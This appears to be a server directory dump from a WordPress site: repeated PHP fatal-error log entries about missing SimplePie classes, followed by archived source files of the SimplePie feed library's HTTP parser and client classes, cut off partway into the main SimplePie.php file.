[06-Jan-2026 01:14:47 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[06-Jan-2026 01:14:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[06-Jan-2026 01:14:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[06-Jan-2026 01:14:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[06-Jan-2026 01:14:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[06-Jan-2026 01:28:10 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[06-Jan-2026 01:28:10 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[06-Jan-2026 01:28:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[06-Jan-2026 01:28:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[06-Jan-2026 01:28:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[06-Jan-2026 02:33:13 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[06-Jan-2026 02:34:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[06-Jan-2026 02:40:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[06-Jan-2026 02:41:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[06-Jan-2026 02:43:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[07-Jan-2026 04:26:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[07-Jan-2026 04:26:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[07-Jan-2026 04:26:13 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[07-Jan-2026 04:26:14 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[07-Jan-2026 04:26:14 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[13-Jan-2026 06:28:01 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[13-Jan-2026 06:28:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[13-Jan-2026 06:28:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[13-Jan-2026 06:28:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[13-Jan-2026 06:28:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[13-Jan-2026 23:47:21 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[13-Jan-2026 23:47:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[13-Jan-2026 23:47:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[13-Jan-2026 23:47:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[13-Jan-2026 23:47:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[14-Jan-2026 00:08:04 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[14-Jan-2026 00:08:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[14-Jan-2026 00:08:09 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[14-Jan-2026 00:08:11 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[14-Jan-2026 00:08:12 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
[21-Feb-2026 02:55:45 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Exception' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/ClientException.php on line 17
[21-Feb-2026 02:55:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/FileClient.php on line 21
[21-Feb-2026 02:55:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr7Response.php on line 20
[21-Feb-2026 02:55:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Client' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php:22
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/Psr18Client.php on line 22
[21-Feb-2026 02:55:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\HTTP\Response' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/HTTP/RawTextResponse.php on line 18
HTTP/Parser.php000064400000035551152222652070007304 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Response Parser
 * @template Psr7Compatible of bool
 */
class Parser
{
    /**
     * HTTP Version
     *
     * @var float
     */
    public $http_version = 0.0;

    /**
     * Status code
     *
     * @var int
     */
    public $status_code = 0;

    /**
     * Reason phrase
     *
     * @var string
     */
    public $reason = '';

    /**
     * @var Psr7Compatible whether headers are compatible with PSR-7 format.
     */
    private $psr7Compatible;

    /**
     * Key/value pairs of the headers
     *
     * @var (Psr7Compatible is true ? array<string, non-empty-array<string>> : array<string, string>)
     */
    public $headers = [];

    /**
     * Body of the response
     *
     * @var string
     */
    public $body = '';

    private const STATE_HTTP_VERSION = 'http_version';

    private const STATE_STATUS = 'status';

    private const STATE_REASON = 'reason';

    private const STATE_NEW_LINE = 'new_line';

    private const STATE_BODY = 'body';

    private const STATE_NAME = 'name';

    private const STATE_VALUE = 'value';

    private const STATE_VALUE_CHAR = 'value_char';

    private const STATE_QUOTE = 'quote';

    private const STATE_QUOTE_ESCAPED = 'quote_escaped';

    private const STATE_QUOTE_CHAR = 'quote_char';

    private const STATE_CHUNKED = 'chunked';

    private const STATE_EMIT = 'emit';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @var self::STATE_*
     */
    protected $state = self::STATE_HTTP_VERSION;

    /**
     * Input data
     *
     * @var string
     */
    protected $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @var int
     */
    protected $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     */
    protected $position = 0;

    /**
     * Name of the header currently being parsed
     *
     * @var string
     */
    protected $name = '';

    /**
     * Value of the header currently being parsed
     *
     * @var string
     */
    protected $value = '';

    /**
     * Create an instance of the class with the input data
     *
     * @param string $data Input data
     * @param Psr7Compatible $psr7Compatible Whether the data types are in format compatible with PSR-7.
     */
    public function __construct(string $data, bool $psr7Compatible = false)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
        $this->psr7Compatible = $psr7Compatible;
    }

    /**
     * Parse the input data
     *
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) {
            return true;
        }

        // Reset the parser state.
        $this->http_version = 0.0;
        $this->status_code = 0;
        $this->reason = '';
        $this->headers = [];
        $this->body = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @return bool true if there is further data, false if not
     */
    protected function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * See if the next character is LWS
     *
     * @return bool true if the next character is LWS, false if not
     */
    protected function is_linear_whitespace()
    {
        return (bool) ($this->data[$this->position] === "\x09"
            || $this->data[$this->position] === "\x20"
            || ($this->data[$this->position] === "\x0A"
                && isset($this->data[$this->position + 1])
                && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
    }

    /**
     * Parse the HTTP version
     * @return void
     */
    protected function http_version()
    {
        if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') {
            $len = strspn($this->data, '0123456789.', 5);
            $http_version = substr($this->data, 5, $len);
            $this->position += 5 + $len;
            if (substr_count($http_version, '.') <= 1) {
                $this->http_version = (float) $http_version;
                $this->position += strspn($this->data, "\x09\x20", $this->position);
                $this->state = self::STATE_STATUS;
            } else {
                $this->state = self::STATE_ERROR;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the status code
     * @return void
     */
    protected function status()
    {
        if ($len = strspn($this->data, '0123456789', $this->position)) {
            $this->status_code = (int) substr($this->data, $this->position, $len);
            $this->position += $len;
            $this->state = self::STATE_REASON;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse the reason phrase
     * @return void
     */
    protected function reason()
    {
        $len = strcspn($this->data, "\x0A", $this->position);
        $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
        $this->position += $len + 1;
        $this->state = self::STATE_NEW_LINE;
    }

    private function add_header(string $name, string $value): void
    {
        if ($this->psr7Compatible) {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, non-empty-array<string>> */
            $headers = &$this->headers;
            $headers[$name][] = $value;
        } else {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, string>) */
            $headers = &$this->headers;
            $headers[$name] .= ', ' . $value;
        }
    }

    private function replace_header(string $name, string $value): void
    {
        if ($this->psr7Compatible) {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, non-empty-array<string>> */
            $headers = &$this->headers;
            $headers[$name] = [$value];
        } else {
            // For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
            /** @var array<string, string>) */
            $headers = &$this->headers;
            $headers[$name] = $value;
        }
    }

    /**
     * Deal with a new line, shifting data around as needed
     * @return void
     */
    protected function new_line()
    {
        $this->value = trim($this->value, "\x0D\x20");
        if ($this->name !== '' && $this->value !== '') {
            $this->name = strtolower($this->name);
            // We should only use the last Content-Type header. c.f. issue #1
            if (isset($this->headers[$this->name]) && $this->name !== 'content-type') {
                $this->add_header($this->name, $this->value);
            } else {
                $this->replace_header($this->name, $this->value);
            }
        }
        $this->name = '';
        $this->value = '';
        if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") {
            $this->position += 2;
            $this->state = self::STATE_BODY;
        } elseif ($this->data[$this->position] === "\x0A") {
            $this->position++;
            $this->state = self::STATE_BODY;
        } else {
            $this->state = self::STATE_NAME;
        }
    }

    /**
     * Parse a header name
     * @return void
     */
    protected function name()
    {
        $len = strcspn($this->data, "\x0A:", $this->position);
        if (isset($this->data[$this->position + $len])) {
            if ($this->data[$this->position + $len] === "\x0A") {
                $this->position += $len;
                $this->state = self::STATE_NEW_LINE;
            } else {
                $this->name = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                $this->state = self::STATE_VALUE;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    /**
     * Parse LWS, replacing consecutive LWS characters with a single space
     * @return void
     */
    protected function linear_whitespace()
    {
        do {
            if (substr($this->data, $this->position, 2) === "\x0D\x0A") {
                $this->position += 2;
            } elseif ($this->data[$this->position] === "\x0A") {
                $this->position++;
            }
            $this->position += strspn($this->data, "\x09\x20", $this->position);
        } while ($this->has_data() && $this->is_linear_whitespace());
        $this->value .= "\x20";
    }

    /**
     * See what state to move to while within non-quoted header values
     * @return void
     */
    protected function value()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    // Workaround for ETags: we have to include the quotes as
                    // part of the tag.
                    if (strtolower($this->name) === 'etag') {
                        $this->value .= '"';
                        $this->position++;
                        $this->state = self::STATE_VALUE_CHAR;
                        break;
                    }
                    $this->position++;
                    $this->state = self::STATE_QUOTE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                default:
                    $this->state = self::STATE_VALUE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while outside quotes
     * @return void
     */
    protected function value_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * See what state to move to while within quoted header values
     * @return void
     */
    protected function quote()
    {
        if ($this->is_linear_whitespace()) {
            $this->linear_whitespace();
        } else {
            switch ($this->data[$this->position]) {
                case '"':
                    $this->position++;
                    $this->state = self::STATE_VALUE;
                    break;

                case "\x0A":
                    $this->position++;
                    $this->state = self::STATE_NEW_LINE;
                    break;

                case '\\':
                    $this->position++;
                    $this->state = self::STATE_QUOTE_ESCAPED;
                    break;

                default:
                    $this->state = self::STATE_QUOTE_CHAR;
                    break;
            }
        }
    }

    /**
     * Parse a header value while within quotes
     * @return void
     */
    protected function quote_char()
    {
        $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
        $this->value .= substr($this->data, $this->position, $len);
        $this->position += $len;
        $this->state = self::STATE_VALUE;
    }

    /**
     * Parse an escaped character within quotes
     * @return void
     */
    protected function quote_escaped()
    {
        $this->value .= $this->data[$this->position];
        $this->position++;
        $this->state = self::STATE_QUOTE;
    }

    /**
     * Parse the body
     * @return void
     */
    protected function body()
    {
        $this->body = substr($this->data, $this->position);
        if (!empty($this->headers['transfer-encoding'])) {
            unset($this->headers['transfer-encoding']);
            $this->state = self::STATE_CHUNKED;
        } else {
            $this->state = self::STATE_EMIT;
        }
    }

    /**
     * Parsed a "Transfer-Encoding: chunked" body
     * @return void
     */
    protected function chunked()
    {
        if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) {
            $this->state = self::STATE_EMIT;
            return;
        }

        $decoded = '';
        $encoded = $this->body;

        while (true) {
            $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches);
            if (!$is_chunked) {
                // Looks like it's not chunked after all
                $this->state = self::STATE_EMIT;
                return;
            }

            $length = hexdec(trim($matches[1]));
            // For PHPStan: this will only be float when larger than PHP_INT_MAX.
            // But even on 32-bit systems, it would mean 2GiB chunk, which sounds unlikely.
            \assert(\is_int($length), "Length needs to be shorter than PHP_INT_MAX");
            if ($length === 0) {
                // Ignore trailer headers
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }

            $chunk_length = strlen($matches[0]);
            $decoded .= substr($encoded, $chunk_length, $length);
            $encoded = substr($encoded, $chunk_length + $length + 2);

            // BC for PHP < 8.0: substr() can return bool instead of string
            $encoded = ($encoded === false) ? '' : $encoded;

            if (trim($encoded) === '0' || empty($encoded)) {
                $this->state = self::STATE_EMIT;
                $this->body = $decoded;
                return;
            }
        }
    }

    /**
     * Prepare headers (take care of proxies headers)
     *
     * @param string  $headers Raw headers
     * @param non-negative-int $count Redirection count. Default to 1.
     *
     * @return string
     */
    public static function prepareHeaders(string $headers, int $count = 1)
    {
        $data = explode("\r\n\r\n", $headers, $count);
        $data = array_pop($data);
        if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
            $exploded = explode("\r\n\r\n", $data, 2);
            $data = end($exploded);
        }
        return $data;
    }
}

class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser');
HTTP/FileClient.php000064400000004333152222652070010060 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use InvalidArgumentException;
use SimplePie\File;
use SimplePie\Misc;
use SimplePie\Registry;
use Throwable;

/**
 * HTTP Client based on \SimplePie\File
 *
 * @internal
 */
final class FileClient implements Client
{
    /** @var Registry */
    private $registry;

    /** @var array{timeout?: int, redirects?: int, useragent?: string, force_fsockopen?: bool, curl_options?: array<mixed>} */
    private $options;

    /**
     * @param array{timeout?: int, redirects?: int, useragent?: string, force_fsockopen?: bool, curl_options?: array<mixed>} $options
     */
    public function __construct(Registry $registry, array $options = [])
    {
        $this->registry = $registry;
        $this->options = $options;
    }

    /**
     * send a request and return the response
     *
     * @param Client::METHOD_* $method
     * @param array<string, string> $headers
     *
     * @throws ClientException if anything goes wrong requesting the data
     */
    public function request(string $method, string $url, array $headers = []): Response
    {
        // @phpstan-ignore-next-line Enforce PHPDoc type.
        if ($method !== self::METHOD_GET) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #1 ($method) only supports method "%s".',
                __METHOD__,
                self::METHOD_GET
            ), 1);
        }

        try {
            $file = $this->registry->create(File::class, [
                $url,
                $this->options['timeout'] ?? 10,
                $this->options['redirects'] ?? 5,
                $headers,
                $this->options['useragent'] ?? Misc::get_default_useragent(),
                $this->options['force_fsockopen'] ?? false,
                $this->options['curl_options'] ?? []
            ]);
        } catch (Throwable $th) {
            throw new ClientException($th->getMessage(), $th->getCode(), $th);
        }

        if ($file->error !== null && $file->get_status_code() === 0) {
            throw new ClientException($file->error);
        }

        return $file;
    }
}
HTTP/.htaccess000064400000000000152222652070007112 0ustar00HTTP/ClientException.php000064400000000515152222652070011135 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

use SimplePie\Exception as SimplePieException;

/**
 * Client exception class
 *
 * @internal
 */
final class ClientException extends SimplePieException
{
}
HTTP/Client.php000064400000001137152222652070007257 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\HTTP;

/**
 * HTTP Client interface
 *
 * @internal
 */
interface Client
{
    public const METHOD_GET = 'GET';

    /**
     * send a request and return the response
     *
     * @param Client::METHOD_* $method
     * @param array<string, string> $headers
     *
     * @throws ClientException if anything goes wrong requesting the data
     */
    public function request(string $method, string $url, array $headers = []): Response;
}
SimplePie.php000064400000372064152222652070007163 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use InvalidArgumentException;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use Psr\SimpleCache\CacheInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\Cache\Psr16;
use SimplePie\Content\Type\Sniffer;
use SimplePie\Exception as SimplePieException;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
use SimplePie\HTTP\Response;

/**
 * SimplePie
 */
class SimplePie
{
    /**
     * SimplePie Name
     */
    public const NAME = 'SimplePie';

    /**
     * SimplePie Version
     */
    public const VERSION = '1.9.0';

    /**
     * SimplePie Website URL
     */
    public const URL = 'http://simplepie.org';

    /**
     * SimplePie Linkback
     */
    public const LINKBACK = '<a href="' . self::URL . '" title="' . self::NAME . ' ' . self::VERSION . '">' . self::NAME . '</a>';

    /**
     * No Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_NONE = 0;

    /**
     * Feed Link Element Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_AUTODISCOVERY = 1;

    /**
     * Local Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_EXTENSION = 2;

    /**
     * Local Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_LOCAL_BODY = 4;

    /**
     * Remote Feed Extension Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_EXTENSION = 8;

    /**
     * Remote Feed Body Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_REMOTE_BODY = 16;

    /**
     * All Feed Autodiscovery
     * @see SimplePie::set_autodiscovery_level()
     */
    public const LOCATOR_ALL = 31;

    /**
     * No known feed type
     */
    public const TYPE_NONE = 0;

    /**
     * RSS 0.90
     */
    public const TYPE_RSS_090 = 1;

    /**
     * RSS 0.91 (Netscape)
     */
    public const TYPE_RSS_091_NETSCAPE = 2;

    /**
     * RSS 0.91 (Userland)
     */
    public const TYPE_RSS_091_USERLAND = 4;

    /**
     * RSS 0.91 (both Netscape and Userland)
     */
    public const TYPE_RSS_091 = 6;

    /**
     * RSS 0.92
     */
    public const TYPE_RSS_092 = 8;

    /**
     * RSS 0.93
     */
    public const TYPE_RSS_093 = 16;

    /**
     * RSS 0.94
     */
    public const TYPE_RSS_094 = 32;

    /**
     * RSS 1.0
     */
    public const TYPE_RSS_10 = 64;

    /**
